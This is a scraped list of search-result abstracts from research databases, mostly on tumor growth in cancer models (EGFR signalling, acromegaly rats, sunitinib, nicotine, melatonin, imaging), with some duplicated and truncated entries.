(MDA-231, and agonist-induced signaling was examined in both breast cancer and osteoblast-like cells. Both paracrine and autocrine EGFR signaling were inhibited with a neutralizing amphiregulin antibody, PAR34, whereas shRNA to the EGFR was used to specifically block autocrine signaling in MDA-231 cells. The impact of these was evaluated with proliferation, migration and gene expression assays. Breast cancer metastasis to bone was modeled in female athymic nude mice with intratibial inoculation of MDA-231 cells, and cancer cell-bone marrow co-cultures. EGFR knockdown, but not PAR34 treatment, decreased osteoclasts formed in vitro (p<0.01, reduced osteolytic lesion tumor volume (p<0.01, increased survivorship in vivo (p<0.001, and resulted in decreased MDA-231 growth in the fat pad (p<0.01. Fat pad shEGFR-MDA-231 tumors produced in nude mice had increased necrotic areas and decreased CD31-positive vasculature. shEGFR-MDA-231 cells also produced decreased levels of the proangiogenic molecules macrophage colony stimulating factor-1 (MCSF-1 and matrix metalloproteinase 9 (MMP9, both of which were decreased by EGFR inhibitors in a panel of EGFR-positive breast cancer cells. Thus, inhibiting autocrine EGFR signaling in breast cancer cells may provide a means for reducing paracrine factor production that facilitates microenvironment support in the bone and mammary gland. 2. Molecular Characterization of Growth Hormone-producing Tumors in the GC Rat Model of Acromegaly. Science.gov (United States) Martín-Rodríguez, Juan F; Muñoz-Bravo, Jose L; Ibañez-Costa, Alejandro; Fernandez-Maza, Laura; Balcerzyk, Marcin; Leal-Campanario, Rocío; Luque, Raúl M; Castaño, Justo P; Venegas-Moreno, Eva; Soto-Moreno, Alfonso; Leal-Cerro, Alfonso; Cano, David A 2015-11-09 Acromegaly is a disorder resulting from excessive production of growth hormone (GH) and consequent increase of insulin-like growth factor 1 (IGF-I), most frequently caused by pituitary adenomas. Elevated GH and IGF-I levels results in wide range of somatic, cardiovascular, endocrine, metabolic, and gastrointestinal morbidities. Subcutaneous implantation of the GH-secreting GC cell line in rats leads to the formation of tumors. GC tumor-bearing rats develop characteristics that resemble human acromegaly including gigantism and visceromegaly. However, GC tumors remain poorly characterized at a molecular level. In the present work, we report a detailed histological and molecular characterization of GC tumors using immunohistochemistry, molecular biology and imaging techniques. GC tumors display histopathological and molecular features of human GH-producing tumors, including hormone production, cell architecture, senescence activation and alterations in cell cycle gene expression. Furthermore, GC tumors cells displayed sensitivity to somatostatin analogues, drugs that are currently used in the treatment of human GH-producing adenomas, thus supporting the GC tumor model as a translational tool to evaluate therapeutic agents. The information obtained would help to maximize the usefulness of the GC rat model for research and preclinical studies in GH-secreting tumors. 3. Molecular Characterization of Growth Hormone-producing Tumors in the GC Rat Model of Acromegaly. Science.gov (United States) Martín-Rodríguez, Juan F; Muñoz-Bravo, Jose L; Ibañez-Costa, Alejandro; Fernandez-Maza, Laura; Balcerzyk, Marcin; Leal-Campanario, Rocío; Luque, Raúl M; Castaño, Justo P; Venegas-Moreno, Eva; Soto-Moreno, Alfonso; Leal-Cerro, Alfonso; Cano, David A 2015-01-01 Acromegaly is a disorder resulting from excessive production of growth hormone (GH) and consequent increase of insulin-like growth factor 1 (IGF-I), most frequently caused by pituitary adenomas. Elevated GH and IGF-I levels results in wide range of somatic, cardiovascular, endocrine, metabolic, and gastrointestinal morbidities. Subcutaneous implantation of the GH-secreting GC cell line in rats leads to the formation of tumors. GC tumor-bearing rats develop characteristics that resemble human acromegaly including gigantism and visceromegaly. However, GC tumors remain poorly characterized at a molecular level. In the present work, we report a detailed histological and molecular characterization of GC tumors using immunohistochemistry, molecular biology and imaging techniques. GC tumors display histopathological and molecular features of human GH-producing tumors, including hormone production, cell architecture, senescence activation and alterations in cell cycle gene expression. Furthermore, GC tumors cells displayed sensitivity to somatostatin analogues, drugs that are currently used in the treatment of human GH-producing adenomas, thus supporting the GC tumor model as a translational tool to evaluate therapeutic agents. The information obtained would help to maximize the usefulness of the GC rat model for research and preclinical studies in GH-secreting tumors. PMID:26549306 4. Cryptotanshinone induces inhibition of breast tumor growth by cytotoxic CD4+ T cells through the JAK2/STAT4/ perforin pathway. Science.gov (United States) Zhou, Jun; Xu, Xiao-Zhen; Hu, Yao-Ren; Hu, Ai-Rong; Zhu, Cheng-Liang; Gao, Guo-Sheng 2014-01-01 Cryptotanshinone (CPT), is a quinoid diterpene isolated from the root of the Asian medicinal plant, Salvia miotiorrhiza bunge. Numerous researchers have found that it could work as a potent antitumor agent to inhibit tumor growth in vitro, buith there has been much less emphasis on its in vivo role against breast tumors. Using a mouse tumor model of MCF7 cells, we showed that CPT strongly inhibited MCF7 cell growth in vivo with polarization of immune reactions toward Th1-type responses, stimulation of naive CD4+ T cell proliferation, and also increased IFN-γ and perforin production of CD4+ T cells in response to tumor-activated splenocytes. Furthermore, data revealed that the cytotoxic activity of CD4+ T cells induced by CPT was markedly abrogated by concanamycin A(CMA), a perforin inhibitor, but not IFN-γ Ab. On the other hand, after depletion of CD4+ T cells or blocked perforin with CMA in a tumor-bearing model, CPT could not effectively suppress tumor growth, but this phenomenon could be reversed by injecting naive CD4+ T cells. Thus, our results suggested that CPT mainly inhibited breast tumor growth through inducing cytotoxic CD4+ T cells to secrete perforin. We further found that CPT enhanced perforin production of CD4+ T cells by up-regulating JAK2 and STAT4 phosphorylation. These findings suggest a novel potential therapeutic role for CPT in tumor therapy, and demonstrate that CPT performs its antitumor functions through cytotoxic CD4+ T cells. 5. Sunitinib Does Not Accelerate Tumor Growth in Patients with Metastatic Renal Cell Carcinoma Directory of Open Access Journals (Sweden) Krastan B. Blagoev 2013-02-01 Full Text Available Preclinical studies have suggested that sunitinib accelerates metastases in animals, ascribing this to inhibition of the vascular endothelial growth factor receptor or the tumor’s adaptation. To address whether sunitinib accelerates tumors in humans, we analyzed data from the pivotal randomized phase III trial comparing sunitinib and interferon alfa in patients with metastatic renal cell carcinoma. The evidence clearly shows that sunitinib was not harmful, did not accelerate tumor growth, and did not shorten survival. Specifically, neither longer sunitinib treatment nor a greater effect of sunitinib on tumors reduced survival. Sunitinib did reduce the tumor’s growth rate while administered, thereby improving survival, without appearing to alter tumor biology after discontinuation. Concerns arising from animal models do not apply to patients receiving sunitinib and likely will not apply to similar agents. 6. Population Blocks. Science.gov (United States) Smith, Martin H. 1992-01-01 Describes an educational game called "Population Blocks" that is designed to illustrate the concept of exponential growth of the human population and some potential effects of overpopulation. The game material consists of wooden blocks; 18 blocks are painted green (representing land), 7 are painted blue (representing water); and the remaining… 7. Macrophage inflammatory protein-2 contributes to liver resection-induced acceleration of hepatic metastatic tumor growth Institute of Scientific and Technical Information of China (English) Otto Kollmar; Michael D Menger; Martin K Schilling 2006-01-01 AIM: To study the role of macrophage inflammatory protein (MIP)-2 in liver resection-induced acceleration of tumor growth in a mouse model of hepatic metastasis.METHODS: After a 50% hepatectomy, 1×105 CT26.WT cells were implanted into the left liver lobe of syngeneic balb/c mice (PHx). Additional animals were treated with a monoclonal antibody (MAB452) neutralizing MIP-2(PHx+mAB). Non-resected and non-mAB-treated mice (Con) served as controls. After 7 d, tumor angiogenesis and microcirculation as well as cell proliferation, tumor growth, and CXCR-2 expression were analyzed using intravital fluorescence microscopy, histology, immunohistochemistry, and flow cytometry.RESULTS: Partial hepatectomy increased (P<0.05) the expression of the MIP-2 receptor CXCR-2 on tumor cells when compared with non-resected controls, and markedly accelerated (P<0.05) angiogenesis and metastatic tumor growth. Neutralization of MIP-2 by MAB452 treatment significantly (P<0.05) depressed CXCR-2 expression. Further, the blockade of MIP-2 reduced the angiogenic response (P<0.05) and inhibited tumor growth (P< 0.05). Of interest, liver resection-induced hepatocyte proliferation was not effected by anti-MIP-2 treatment.CONCLUSION: MIP-2 significantly contributes to liver resection-induced acceleration of colorectal CT26.WT hepatic metastasis growth. 8. The NF2 tumor suppressor gene product, merlin, mediates contact inhibition of growth through interactions with CD44 Energy Technology Data Exchange (ETDEWEB) Morrison, H.L. 2002-03-01 The neurofibromatosis-2 (NF2) gene encodes merlin, an ezrin-radixin-moesin-(ERM)-related protein, that functions as a tumor suppressor. I found that merlin plays a critical role in the establishment and maintenance of contact inhibition of growth. At high cell density, merlin is activated and blocks profileration with corresponding changes in cell cycle parameters. Merlin interfered with growth factor receptor or Ras-dependent signal transduction of MAP kinase and the step of interference was located downstream of Ras and Raf and upstream of MEK. Merlins growth inhibiting function depended on interaction with a specific domain of the cytoplasmic tail of CD44. In addition merlin activity and phosphorylation status depended on the extracellular ligand associated with the N-terminus of CD44. At high cell densities, in the presence of the extracellular ligand HA, merlin was dephosphorylated and bound directly to a basic amino acid motif in the cytoplasmic tail of CD44. Ezrin and moesin, which are also known to bind to the same basic amino acid motif in CD44 were absent within this growth inhibitory complex. Alternatively in logarithmically growing cells, merlin was inactive, phosphorylated and in a complex with ezrin and moesin. This growth permissive complex was also associated with the cytoplasmic tail of CD44. My data provide not only significant clues about how merlin functions as a tumor suppressor but revealed the existence of a novel molecular switch that, under the influence of ligands in the microenvironment, controls a cell decision to proliferate or growth arrest. (orig.) 9. Radiotherapy planning for glioblastoma based on a tumor growth model: improving target volume delineation Science.gov (United States) Unkelbach, Jan; Menze, Bjoern H.; Konukoglu, Ender; Dittmann, Florian; Le, Matthieu; Ayache, Nicholas; Shih, Helen A. 2014-02-01 Glioblastoma differ from many other tumors in the sense that they grow infiltratively into the brain tissue instead of forming a solid tumor mass with a defined boundary. Only the part of the tumor with high tumor cell density can be localized through imaging directly. In contrast, brain tissue infiltrated by tumor cells at low density appears normal on current imaging modalities. In current clinical practice, a uniform margin, typically two centimeters, is applied to account for microscopic spread of disease that is not directly assessable through imaging. The current treatment planning procedure can potentially be improved by accounting for the anisotropy of tumor growth, which arises from different factors: anatomical barriers such as the falx cerebri represent boundaries for migrating tumor cells. In addition, tumor cells primarily spread in white matter and infiltrate gray matter at lower rate. We investigate the use of a phenomenological tumor growth model for treatment planning. The model is based on the Fisher-Kolmogorov equation, which formalizes these growth characteristics and estimates the spatial distribution of tumor cells in normal appearing regions of the brain. The target volume for radiotherapy planning can be defined as an isoline of the simulated tumor cell density. This paper analyzes the model with respect to implications for target volume definition and identifies its most critical components. A retrospective study involving ten glioblastoma patients treated at our institution has been performed. To illustrate the main findings of the study, a detailed case study is presented for a glioblastoma located close to the falx. In this situation, the falx represents a boundary for migrating tumor cells, whereas the corpus callosum provides a route for the tumor to spread to the contralateral hemisphere. We further discuss the sensitivity of the model with respect to the input parameters. Correct segmentation of the brain appears to be the most 10. The response to epidermal growth factor of human maxillary tumor cells in terms of tumor growth, invasion and expression of proteinase inhibitors. Science.gov (United States) Mizoguchi, H; Komiyama, S; Matsui, K; Hamanaka, R; Ono, M; Kiue, A; Kobayashi, M; Shimizu, N; Welgus, H G; Kuwano, M 1991-11-11 Three cancer cell lines, IMC-2, IMC-3 and IMC-4, were established from a single tumor of a patient with maxillary cancer. We examined responses to epidermal growth factor (EGF) of these 3 cell lines with regard to cell growth and tumor invasion. The growth rate of IMC-2 in nude mice was markedly faster than that of the IMC-3 and IMC-4 cell lines. Assay for invasion through fibrin gels showed significantly enhanced invasive capacity of IMC-2 cells in response to EGF, but no change for IMC-3 and IMC-4 cells. We examined response to EGF of IMC-2 cells with regard to expression of a growth-related oncogene (c-fos), proteinases and their inhibitors. Expression of c-fos was transiently increased in IMC-2 cells at rates comparable to those seen in the 2 other lines in the presence of EGF. There was no apparent effect of EGF on the expression of urokinase-type plasminogen activator and 72-kDa type-IV collagenase in IMC-2 cells. In contrast, EGF specifically enhanced the expression of plasminogen activator inhibitor-I (PAI-I) and tissue inhibitor of metalloproteinases-I (TIMP-I) in IMC-2 cells. Our data suggest that proteinase inhibitors or other related factors may play an important role in tumor growth and invasion in response to EGF. 11. TetraMabs: simultaneous targeting of four oncogenic receptor tyrosine kinases for tumor growth inhibition in heterogeneous tumor cell populations Science.gov (United States) Castoldi, Raffaella; Schanzer, Jürgen; Panke, Christian; Jucknischke, Ute; Neubert, Natalie J.; Croasdale, Rebecca; Scheuer, Werner; Auer, Johannes; Klein, Christian; Niederfellner, Gerhard; Kobold, Sebastian; Sustmann, Claudio 2016-01-01 Monoclonal antibody-based targeted tumor therapy has greatly improved treatment options for patients. Antibodies against oncogenic receptor tyrosine kinases (RTKs), especially the ErbB receptor family, are prominent examples. However, long-term efficacy of such antibodies is limited by resistance mechanisms. Tumor evasion by a priori or acquired activation of other kinases is often causative for this phenomenon. These findings led to an increasing number of combination approaches either within a protein family, e.g. the ErbB family or by targeting RTKs of different phylogenetic origin like HER1 and cMet or HER1 and IGF1R. Progress in antibody engineering technology enabled generation of clinical grade bispecific antibodies (BsAbs) to design drugs inherently addressing such resistance mechanisms. Limited data are available on multi-specific antibodies targeting three or more RTKs. In the present study, we have evaluated the cloning, eukaryotic expression and purification of tetraspecific, tetravalent Fc-containing antibodies targeting HER3, cMet, HER1 and IGF1R. The antibodies are based on the combination of single-chain Fab and Fv fragments in an IgG1 antibody format enhanced by the knob-into-hole technology. They are non-agonistic and inhibit tumor cell growth comparable to the combination of four parental antibodies. Importantly, TetraMabs show improved apoptosis induction and tumor growth inhibition over individual monospecific or BsAbs in cellular assays. In addition, a mimicry assay to reflect heterogeneous expression of antigens in a tumor mass was established. With this novel in vitro assay, we can demonstrate the superiority of a tetraspecific antibody to bispecific tumor antigen-binding antibodies in early pre-clinical development. PMID:27578890 12. Golimumab and certolizumab: The two new anti-tumor necrosis factor kids on the block Directory of Open Access Journals (Sweden) Mittal Mohit 2010-01-01 Full Text Available Anti-tumor necrosis factor (anti-TNF agents have revolutionized treatment of psoriasis and many other inflammatory diseases of autoimmune origin. They have considerable advantages over the existing immunomodulators. Anti-TNF agents are designed to target a very specific component of the immune-mediated inflammatory cascades. Thus, they have lower risks of systemic side-effects. In a brief period of 10 years, a growing number of biological therapies are entering the clinical arena while many more biologicals remain on the horizon. With time, the long-term side-effects and efficacies of these individual agents will become clearer and help to determine which ones are the most suitable for long-term care. Golimumab (a human monoclonal anti-TNF-α antibody and Certolizumab (a PEGylated Fab fragment of humanized monoclonal TNF-α antibody are the two latest additions to the anti-TNF regimen. Here, we are providing a brief description about these two drugs and their uses. 13. Malignant nonfunctioning islet cell tumor of the pancreas with intrasplenic growth:a case report Institute of Scientific and Technical Information of China (English) Hong-Jiang Wang; Zuo-Wei Zhao; Hai-Feng Luo; Zhong-Yu Wang 2006-01-01 BACKGROUND: We reported a case of malignant nonfunction islet cell tumor (10.0 cm in diameter) of the pancreas, with malignant histological features and splenic inifltration. The case is rare, and few reports have been published. METHODS: A 46-year-old woman with a vague pain in the left upper quadrant for 3 months was found to have a tumor in the spleen. Ultrasonography and computed tomography demonstrated a well-deifned pancreatic tumor of 8.2×10.0 cm in size, her serum levels of pancreatic hormones were within normal limits. RESULTS: Splenectomy combined with pancreatectomy was performed for the tail of the pancreas. Resected specimens showed a malignant nonfunctioning islet cell tumor invading the spleen. CONCLUSIONS:The growth pattern of the tumor causes malignant features. Resection of the tumor should be performed by enucleation, pancreaticoduodenectomy or distal pancreatectomy. 14. A nonlinear competitive model of the prostate tumor growth under intermittent androgen suppression. Science.gov (United States) Yang, Jing; Zhao, Tong-Jun; Yuan, Chang-Qing; Xie, Jing-Hui; Hao, Fang-Fang 2016-09-01 Hormone suppression has been the primary modality of treatment for prostate cancer. However long-term androgen deprivation may induce androgen-independent (AI) recurrence. Intermittent androgen suppression (IAS) is a potential way to delay or avoid the AI relapse. Mathematical models of tumor growth and treatment are simple while they are capable of capturing the essence of complicated interactions. Game theory models have analyzed that tumor cells can enhance their fitness by adopting genetically determined survival strategies. In this paper, we consider the survival strategies as the competitive advantage of tumor cells and propose a new model to mimic the prostate tumor growth in IAS therapy. Then we investigate the competition effect in tumor development by numerical simulations. The results indicate that successfully IAS-controlled states can be achieved even though the net growth rate of AI cells is positive for any androgen level. There is crucial difference between the previous models and the new one in the phase diagram of successful and unsuccessful tumor control by IAS administration, which means that the suggestions from the models for medication can be different. Furthermore we introduce quadratic logistic terms to the competition model to simulate the tumor growth in the environment with a finite carrying capacity considering the nutrients or inhibitors. The simulations show that the tumor growth can reach an equilibrium state or an oscillatory state with the net growth rate of AI cells being androgen independent. Our results suggest that the competition and the restraint of a limited environment can enhance the possibility of relapse prevention. 15. A nonlinear competitive model of the prostate tumor growth under intermittent androgen suppression. Science.gov (United States) Yang, Jing; Zhao, Tong-Jun; Yuan, Chang-Qing; Xie, Jing-Hui; Hao, Fang-Fang 2016-09-01 Hormone suppression has been the primary modality of treatment for prostate cancer. However long-term androgen deprivation may induce androgen-independent (AI) recurrence. Intermittent androgen suppression (IAS) is a potential way to delay or avoid the AI relapse. Mathematical models of tumor growth and treatment are simple while they are capable of capturing the essence of complicated interactions. Game theory models have analyzed that tumor cells can enhance their fitness by adopting genetically determined survival strategies. In this paper, we consider the survival strategies as the competitive advantage of tumor cells and propose a new model to mimic the prostate tumor growth in IAS therapy. Then we investigate the competition effect in tumor development by numerical simulations. The results indicate that successfully IAS-controlled states can be achieved even though the net growth rate of AI cells is positive for any androgen level. There is crucial difference between the previous models and the new one in the phase diagram of successful and unsuccessful tumor control by IAS administration, which means that the suggestions from the models for medication can be different. Furthermore we introduce quadratic logistic terms to the competition model to simulate the tumor growth in the environment with a finite carrying capacity considering the nutrients or inhibitors. The simulations show that the tumor growth can reach an equilibrium state or an oscillatory state with the net growth rate of AI cells being androgen independent. Our results suggest that the competition and the restraint of a limited environment can enhance the possibility of relapse prevention. PMID:27259386 16. Growth of monolithic full-color GaN-based LED with intermediate carrier blocking layers Science.gov (United States) El-Ghoroury, Hussein S.; Yeh, Milton; Chen, J. C.; Li, X.; Chuang, Chih-Li 2016-07-01 Specially designed intermediate carrier blocking layers (ICBLs) in multi-active regions of III-nitride LEDs were shown to be effective in controlling the carrier injection distribution across the active regions. In principle, the majority of carriers, both holes and electrons, can be guided into targeted quantum wells and recombine to generate light of specific wavelengths at controlled current-densities. Accordingly we proposed and demonstrated a novel monolithic InGaN-based LED to achieve three primary colors of light from one device at selected current densities. This LED structure, which has three different sets of quantum wells separated with ICBLs for three primary red-green-blue (RGB) colors, was grown by metal-organic chemical vapor deposition (MOCVD). Results show that this LED can emit light ranging from 460 to 650 nm to cover the entire visible spectrum. The emission wavelength starts at 650 nm and then decreases to 460 nm or lower as the injection current increases. In addition to three primary colors, many other colors can be obtained by color mixing techniques. To the best of our knowledge, this is the first demonstration of monolithic full-color LED grown by a simple growth technique without using re-growth process. 17. The importance of actual tumor growth rate on disease free survival and overall survival in laryngeal squamous cell carcinoma International Nuclear Information System (INIS) Background and purpose: Evaluation of the variation in tumor growth rate and the influence of tumor growth rate on disease free survival (DFS) and overall survival (OS) in laryngeal squamous cell carcinoma (LSCC). Material and methods: We delineated tumor volume on a diagnostic and planning CT scan in 131 patients with laryngeal squamous cell carcinoma and calculated the tumor growth rate. Primary endpoint was DFS. Follow up data were collected retrospectively. Results: A large variation in tumor growth rate was seen. When dichotomized with a cut-off point of −0.3 ln(cc/day), we found a significant association between high growth rate and worse DFS (p = 0.008) and OS (p = 0.013). After stepwise adjustment for potential confounders (age, differentiation and tumor volume) this significant association persisted. However, after adjustment of N-stage association disappeared. Exploratory analyses suggested a strong association between N-stage and tumor growth rate. Conclusions: In laryngeal squamous cell carcinoma, there is a large variation in tumor growth rate. This tumor growth rate seems to be an important factor in disease free survival and OS. This tumor growth rate is independent of age, differentiation and tumor volume associated with DFS, but N-stage seems to be a more important risk factor 18. Mesenchymal stem cells directly interact with breast cancer cells and promote tumor cell growth in vitro and in vivo. Science.gov (United States) Mandel, Katharina; Yang, Yuanyuan; Schambach, Axel; Glage, Silke; Otte, Anna; Hass, Ralf 2013-12-01 Cellular interactions were investigated between human mesenchymal stem cells (MSC) and human breast cancer cells. Co-culture of the two cell populations was associated with an MSC-mediated growth stimulation of MDA-MB-231 breast cancer cells. A continuous expansion of tumor cell colonies was progressively surrounded by MSC(GFP) displaying elongated cell bodies. Moreover, some MSC(GFP) and MDA-MB-231(cherry) cells spontaneously generated hybrid/chimeric cell populations, demonstrating a dual (green fluorescent protein+cherry) fluorescence. During a co-culture of 5-6 days, MSC also induced expression of the GPI-anchored CD90 molecule in breast cancer cells, which could not be observed in a transwell assay, suggesting the requirement of direct cellular interactions. Indeed, MSC-mediated CD90 induction in the breast cancer cells could be partially blocked by a gap junction inhibitor and by inhibition of the notch signaling pathway, respectively. Similar findings were observed in vivo by which a subcutaneous injection of a co-culture of primary MSC with MDA-MB-231(GFP) cells into NOD/scid mice exhibited an about 10-fold increased tumor size and enhanced metastatic capacity as compared with the MDA-MB-231(GFP) mono-culture. Flow cytometric evaluation of the co-culture tumors revealed more than 90% of breast cancer cells with about 3% of CD90-positive cells, also suggesting an MSC-mediated in vivo induction of CD90 in MDA-MB-231 cells. Furthermore, immunohistochemical analysis demonstrated an elevated neovascularization and viability in the MSC/MDA-MB-231(GFP)-derived tumors. Together, these data suggested an MSC-mediated growth stimulation of breast cancer cells in vitro and in vivo by which the altered MSC morphology and the appearance of hybrid/chimeric cells and breast cancer-expressing CD90(+) cells indicate mutual cellular alterations. 19. Antitumor effect of Ganoderma lucidum : Cytotoxicity and Tumor Growth Delay(1) Energy Technology Data Exchange (ETDEWEB) Kwon, Hyoung Cheol; Kim, Jung Soo [Chonbuk National University College of Medicine, Chonju (Korea, Republic of); Choi, Dong Seong [Chonju Woosuck Univ., Chonju (Korea, Republic of); Song, Chang Won [Univ. of Minnesota Medical School, Minneapolis (United States) 1994-10-15 Purpose: To investigate the effect of aqueous extract of Ganoderma lucidum(G.I.) on the survival of tumor cells in vitro and on the growth of tumors in vivo. Materials and Methods: Dried G.I. was made into powder, extracted with distilled water, filtered and diluted from a maximum concentration of 100 mg/ml in sequence. The cytotoxicity of G.O. in vitro was evaluated from its ability to reduce the clonogenicity of SCK tumor cells. For the tumor growth delay study, about 2x10{sup 5} of SCK tumor cells were subcutaneously inoculated in the legs of A/J mice. The first experimental group of mice were injected i.p. with 0.2ml of 250 mg/kg of G/I. From the first day after tumor inoculation for 10 days. The second experimental group of mice were injected i.p. with 0.2ml of 250 mg/kg of G.I. either once a day for 10 days or twice a day for 5 days beginning from the 7th day after tumor inoculation. Results: 1. Cytotoxicity in vitro; survival fraction, as judged from the curve, at G.I. concentration of 0.5, 1,5,10,25,50 and 100 mg/ml were 1.0, 0.74{+-}0.03, 0.18{+-}0.03, 0.15{+-}0.02, 0.006{+-}0.002, 0.015 and 0.0015, respectively. 2. Tumor growth delay in vivo; a) the time required for the mean tumor volume to grow to 1,000mm{sup 3} was 11 days in the control group and 14 days in the experimental group. b) the time required for tumor volume to increase 4 times was 11 days in the control group while it was 10.5 and 12 days in the groups injected with G.I. once a day and twice a day from the 7th day after tumor inoculation respectively. Conclusion: Aqueous extracts of G.I. showed a marked cytotoxicity on the SCK mammary cells in vitro. Tumor growth delay was statistically significant when G.I. injection was started soon after tumor inoculation, but it was not significant when injection was started after the tumors were firmly established. 20. A fusion protein containing murine vascular endothelial growth factor and tissue factor induces thrombogenesis and suppression of tumor growth in a colon carcinoma model* OpenAIRE Huang, Feng-Ying; Li, Yue-nan; WANG Hua; Huang, Yong-hao; Lin, Ying-Ying; Tan, Guang-Hong 2008-01-01 Induction of tumor vasculature occlusion by targeting a thrombogen to newly formed blood vessels in tumor tissues represents an intriguing approach to the eradication of primary solid tumors. In the current study, we construct and express a fusion protein containing vascular endothelial growth factor (VEGF) and tissue factor (TF) to explore whether this fusion protein has the capability of inhibiting tumor growth in a colon carcinoma model. The murine cDNA of VEGF A and TF were amplified by r... 1. Neuropeptide Y (NPY) in tumor growth and progression: Lessons learned from pediatric oncology. Science.gov (United States) Tilan, Jason; Kitlinska, Joanna 2016-02-01 Neuropeptide Y (NPY) is a sympathetic neurotransmitter with pleiotropic actions, many of which are highly relevant to tumor biology. Consequently, the peptide has been implicated as a factor regulating the growth of a variety of tumors. Among them, two pediatric malignancies with high endogenous NPY synthesis and release - neuroblastoma and Ewing sarcoma - became excellent models to investigate the role of NPY in tumor growth and progression. The stimulatory effect on tumor cell proliferation, survival, and migration, as well as angiogenesis in these tumors, is mediated by two NPY receptors, Y2R and Y5R, which are expressed in either a constitutive or inducible manner. Of particular importance are interactions of the NPY system with the tumor microenvironment, as hypoxic conditions commonly occurring in solid tumors strongly activate the NPY/Y2R/Y5R axis. This activation is triggered by hypoxia-induced up-regulation of Y2R/Y5R expression and stimulation of dipeptidyl peptidase IV (DPPIV), which converts NPY to a selective Y2R/Y5R agonist, NPY(3-36). While previous studies focused mainly on the effects of NPY on tumor growth and vascularization, they also provided insight into the potential role of the peptide in tumor progression into a metastatic and chemoresistant phenotype. This review summarizes our current knowledge of the role of NPY in neuroblastoma and Ewing sarcoma and its interactions with the tumor microenvironment in the context of findings in other malignancies, as well as discusses future directions and potential clinical implications of these discoveries. 2. Non-invasive optical imaging of tumor growth in intact animals Science.gov (United States) Lu, Jinling; Li, Pengcheng; Luo, Qingming; Zhu, Dan 2003-12-01 We describe here a system for rapidly visualizing tumor growth in intact rodent mice that is simple, rapid, and eminently accessible and repeatable. We have established new rodent tumor cell line -- SP2/0-GFP cells that stably express high level of green fluorescent protein (GFP) by transfected with a plasmid that encoded GFP using electroporation and selected with G418 for 3 weeks. 1 x 104 - 1x107 SP2/0-GFP mouse melanoma cells were injected s.c. in the ears and legs of 6- to 7-week-old syngeneic male BALB/c mice, and optical images visualized real-time the engrafted tumor growth. The tumor burden was monitored over time by cryogenically cooled charge coupled device (CCD) camera focused through a stereo microscope. The results show that the fluorescence intensity of GFP-expressing tumor is comparably with the tumor growth and/or depress. This in vivo optical imaging based on GFP is sensitive, external, and noninvasive. It affords continuous visual monitoring of malignant growth within intact animals, and may comprise an ideal tool for evaluating antineoplastic therapies. 3. Effect of melatonin on tumor growth and angiogenesis in xenograft model of breast cancer. Science.gov (United States) Jardim-Perassi, Bruna Victorasso; Arbab, Ali S; Ferreira, Lívia Carvalho; Borin, Thaiz Ferraz; Varma, Nadimpalli R S; Iskander, A S M; Shankar, Adarsh; Ali, Meser M; de Campos Zuccari, Debora Aparecida Pires 2014-01-01 As neovascularization is essential for tumor growth and metastasis, controlling angiogenesis is a promising tactic in limiting cancer progression. Melatonin has been studied for their inhibitory properties on angiogenesis in cancer. We performed an in vivo study to evaluate the effects of melatonin treatment on angiogenesis in breast cancer. Cell viability was measured by MTT assay after melatonin treatment in triple-negative breast cancer cells (MDA-MB-231). After, cells were implanted in athymic nude mice and treated with melatonin or vehicle daily, administered intraperitoneally 1 hour before turning the room light off. Volume of the tumors was measured weekly with a digital caliper and at the end of treatments animals underwent single photon emission computed tomography (SPECT) with Technetium-99m tagged vascular endothelial growth factor (VEGF) C to detect in vivo angiogenesis. In addition, expression of pro-angiogenic/growth factors in the tumor extracts was evaluated by membrane antibody array and collected tumor tissues were analyzed with histochemical staining. Melatonin in vitro treatment (1 mM) decreased cell viability (pbreast cancer xenografts nude mice treated with melatonin showed reduced tumor size and cell proliferation (Ki-67) compared to control animals after 21 days of treatment (p0.05) images. In addition, there was a decrease of micro-vessel density (Von Willebrand Factor) in melatonin treated mice (pmelatonin treatment showed effectiveness in reducing tumor growth and cell proliferation, as well as in the inhibition of angiogenesis. PMID:24416386 4. Nicotine promotes tumor growth and metastasis in mouse models of lung cancer. Directory of Open Access Journals (Sweden) Rebecca Davis Full Text Available BACKGROUND: Nicotine is the major addictive component of tobacco smoke. Although nicotine is generally thought to have limited ability to initiate cancer, it can induce cell proliferation and angiogenesis in a variety of systems. These properties might enable nicotine to facilitate the growth of tumors already initiated. Here we show that nicotine significantly promotes the progression and metastasis of tumors in mouse models of lung cancer. This effect was observed when nicotine was administered through intraperitoneal injections, or through over-the-counter transdermal patches. METHODS AND FINDINGS: In the present study, Line1 mouse adenocarcinoma cells were implanted subcutaneously into syngenic BALB/c mice. Nicotine administration either by intraperitoneal (i.p. injection or transdermal patches caused a remarkable increase in the size of implanted Line1 tumors. Once the tumors were surgically removed, nicotine treated mice had a markedly higher tumor recurrence (59.7% as compared to the vehicle treated mice (19.5%. Nicotine also increased metastasis of dorsally implanted Line1 tumors to the lungs by 9 folds. These studies on transplanted tumors were extended to a mouse model where the tumors were induced by the tobacco carcinogen, NNK. Lung tumors were initiated in A/J mice by i.p. injection of NNK; administration of 1 mg/kg nicotine three times a week led to an increase in the size and the number of tumors formed in the lungs. In addition, nicotine significantly reduced the expression of epithelial markers, E-Cadherin and beta-Catenin as well as the tight junction protein ZO-1; these tumors also showed an increased expression of the alpha(7 nAChR subunit. We believe that exposure to nicotine either by tobacco smoke or nicotine supplements might facilitate increased tumor growth and metastasis. CONCLUSIONS: Our earlier results indicated that nicotine could induce invasion and epithelial-mesenchymal transition (EMT in cultured lung, breast 5. Monitoring Prostate Tumor Growth in an Orthotopic Mouse Model Using Three-Dimensional Ultrasound Imaging Technique. Science.gov (United States) Ni, Jie; Cozzi, Paul; Hung, Tzong-Tyng; Hao, Jingli; Graham, Peter; Li, Yong 2016-02-01 Prostate cancer (CaP) is the most commonly diagnosed and the second leading cause of death from cancer in males in USA. Prostate orthotopic mouse model has been widely used to study human CaP in preclinical settings. Measurement of changes in tumor size obtained from noninvasive diagnostic images is a standard method for monitoring responses to anticancer modalities. This article reports for the first time the usage of a three-dimensional (3D) ultrasound system equipped with photoacoustic (PA) imaging in monitoring longitudinal prostate tumor growth in a PC-3 orthotopic NODSCID mouse model (n = 8). Two-dimensional and 3D modes of ultrasound show great ability in accurately depicting the size and shape of prostate tumors. PA function on two-dimensional and 3D images showed average oxygen saturation and average hemoglobin concentration of the tumor. Results showed a good fit in representative exponential tumor growth curves (n = 3; r(2) = 0.948, 0.955, and 0.953, respectively) and a good correlation of tumor volume measurements performed in vivo with autopsy (n = 8, r = 0.95, P model, with advantages such as high contrast, uncomplicated protocols, economical equipment, and nonharmfulness to animals. PA mode also enabled display of blood oxygenation surrounding the tumor and tumor vasculature and angiogenesis, making 3D 